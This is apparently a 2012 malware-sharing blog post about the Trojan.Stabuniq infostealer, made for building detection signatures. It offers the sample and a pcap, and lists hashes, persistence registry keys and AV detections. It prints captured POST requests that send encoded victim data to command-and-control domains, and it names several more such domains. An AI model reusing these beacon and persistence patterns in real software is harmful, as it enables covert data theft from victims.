Dec. 2012 Trojan.Stabuniq samples - financial infostealer trojan

contagiodump.blogspot.com/2012/12/dec-2012-trojanstabuniq-samples.html

Holiday presents.
Research: Symantec. Trojan.Stabuniq Found on Financial Institution Servers
More research: Stabuniq in-Depth by Emanuele De Lucia

Here is a another minor news maker of 2012.
It is very well detected by most AV but if you want to play or make IDS or yara signatures, the pcap and the sample is below.

File

File: stabuniq_F31B797831B36A4877AA0FD173A7A4A2
Size: 79360
MD5: F31B797831B36A4877AA0FD173A7A4A2

Download


Download Email me if you need the password

Download pcap for F31B797831B36A4877AA0FD173A7A4A2

File information

F31B797831B36A4877AA0FD173A7A4A2
==========
5a0d64cc41bb8455f38b4b31c6e69af9e7fd022b0ea9ea0c32c371def24d67fb

Created files:
C:\Program Files\7-Zip\Uninstall\smagent.exe << copy of itself F31B797831B36A4877AA0FD173A7A4A2

Injected in iexplore.exe
Process ID: 1536 **(iexplore.exe)**
1536 TCP 1130 172.16.253.129 SYN SENT 205.234.252.212:80

At this point domains maybe sinkholed

Download pcap for F31B797831B36A4877AA0FD173A7A4A2

POST /rssnews.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: benhomelandefit.com
Content-Length: 1093
Cache-Control: no-cache
id=NzQxKDYoNig3&varname=SmdzdGc=&comp=QkNKSl5S&ver=UW9oYmlxdSZeVg==&src=NTREb3I=&sec=0&view=dWtnYWNocihjfmMmKyY
POST /rssnews.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: sovereutilizeignty.com
Content-Length: 1093

Cache-Control: no-cache
id=NzQxKDYoNig3&varname=SmdzdGc=&comp=QkNKSl5S&ver=UW9oYmlxdSZeVg==&src=NTREb3I=&sec=0&view=dWtnYWNocihjfmMmKyY$2jX

The following information is from Symantec: http://www.symantec.com/security_response/writeup.jsp?docid=2012-121809-2437-99&tabid=2

> When the Trojan is executed, it may create the following files:
> %ProgramFiles%\[FOLDER NAME ONE]\[FOLDER NAME TWO]\acroiehelper.exe
> %ProgramFiles%\[FOLDER NAME ONE]\[FOLDER NAME TWO]\groovemonitor.exe
> %ProgramFiles%\[FOLDER NAME ONE]\[FOLDER NAME TWO]\issch.exe
> %ProgramFiles%\[FOLDER NAME ONE]\[FOLDER NAME TWO]\jqs.exe
> %ProgramFiles%\[FOLDER NAME ONE]\[FOLDER NAME TWO]\smagent.exe
> The variable [FOLDER NAME ONE] may be one of the following:

> AcroIEHelper Module
> GrooveMonitor Utility
> InstallShield Update Service Scheduler
> Java Quick Starter
> SoundMAX service agent

> The variable [FOLDER NAME TWO] may be one of the following:
> Bin
> Helper
> Installer
> Uninstall
> Update

> Next, the Trojan creates the following registry entries so that it runs every time Windows starts:
> HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"[RANDOM GUID]" = "[FILE NAME]"
> HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"[RANDOM GUID]" = "[FILE NAME]"
> HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run\"[RANDOM GUID]" = "[FILE NAME]"
> The Trojan then creates the following registry entry:
> HKEY_CURRENT_USER\Software\Stability Software\"Uniq" = "[RANDOM GUID]"
> Next, the Trojan may collect the following information from the compromised computer:
> Architecture type
> Computer name
> File name of the threat
> IP address
> Operating system version
> Operating system service pack version, if installed
> Running processes

> The Trojan may then send the stolen information to the following remote locations:
> anatwriteromist.com
> bbcnews192.com
> belsaw920.com
> benhomelandefit.com
> midfielderguin.com
> prominentpirsa.com
> sovereutilizeignty.com
> yolanda911.com

Automatic scans

https://www.virustotal.com/file/5a0d64cc41bb8455f38b4b31c6e69af9e7fd022b0ea9ea0c32c371def24d67fb/analysis/
SHA256: 5a0d64cc41bb8455f38b4b31c6e69af9e7fd022b0ea9ea0c32c371def24d67fb
SHA1: 17db1bbaa1bf1b920e47b28c3050cbff83ab16de
MD5: f31b797831b36a4877aa0fd173a7a4a2
File size: 77.5 KB (79360 bytes)
File name: vti-rescan
File type: Win32 EXE
Tags: peexe armadillo
Detection ratio: 28 / 45
Analysis date: 2012-12-21 13:48:23 UTC (2 days, 16 hours ago)

AhnLab-V3 Backdoor/Win32.Ruskill 20121221
AntiVir TR/Graftor.27095.3 20121221
Avast Win32:Ruskill-FQ [Trj] 20121221
AVG Dropper.Generic6.CAIC 20121221
BitDefender Gen:Variant.Graftor.27095 20121221
DrWeb Trojan.Packed.22607 20121221
Emsisoft Gen:Variant.Graftor.27095 (B) 20121221
ESET-NOD32 a variant of Win32/Injector.RVT 20121221
F-Secure Gen:Variant.Graftor.27095 20121221
Fortinet W32/Injector.RVT!tr 20121221
GData Gen:Variant.Graftor.27095 20121221
Ikarus Worm.Win32.Dorkbot 20121221
Kaspersky HEUR:Trojan.Win32.Generic 20121221
Malwarebytes Backdoor.Bot.wpm 20121221
McAfee Generic.dx!bg3a 20121221
Microsoft Trojan:Win32/Buniq.A 20121221
MicroWorld-eScan Gen:Variant.Graftor.27095 20121221
NANO-Antivirus Trojan.Win32.Graftor.ymdbi 20121221
Norman W32/Suspicious_Gen4.BCNST 20121221
Panda Generic Malware 20121221
PCTools Trojan.Stabuniq 20121221
Sophos Mal/FakeAV-QN 20121221
SUPERAntiSpyware - 20121220
Symantec Trojan.Stabuniq 20121221
TheHacker Trojan/Injector.rvt 20121220
TrendMicro TROJ_STABUNIQ.A 20121221
TrendMicro-HouseCall TROJ_STABUNIQ.A 20121221
VIPRE Trojan.Win32.Generic!BT 20121221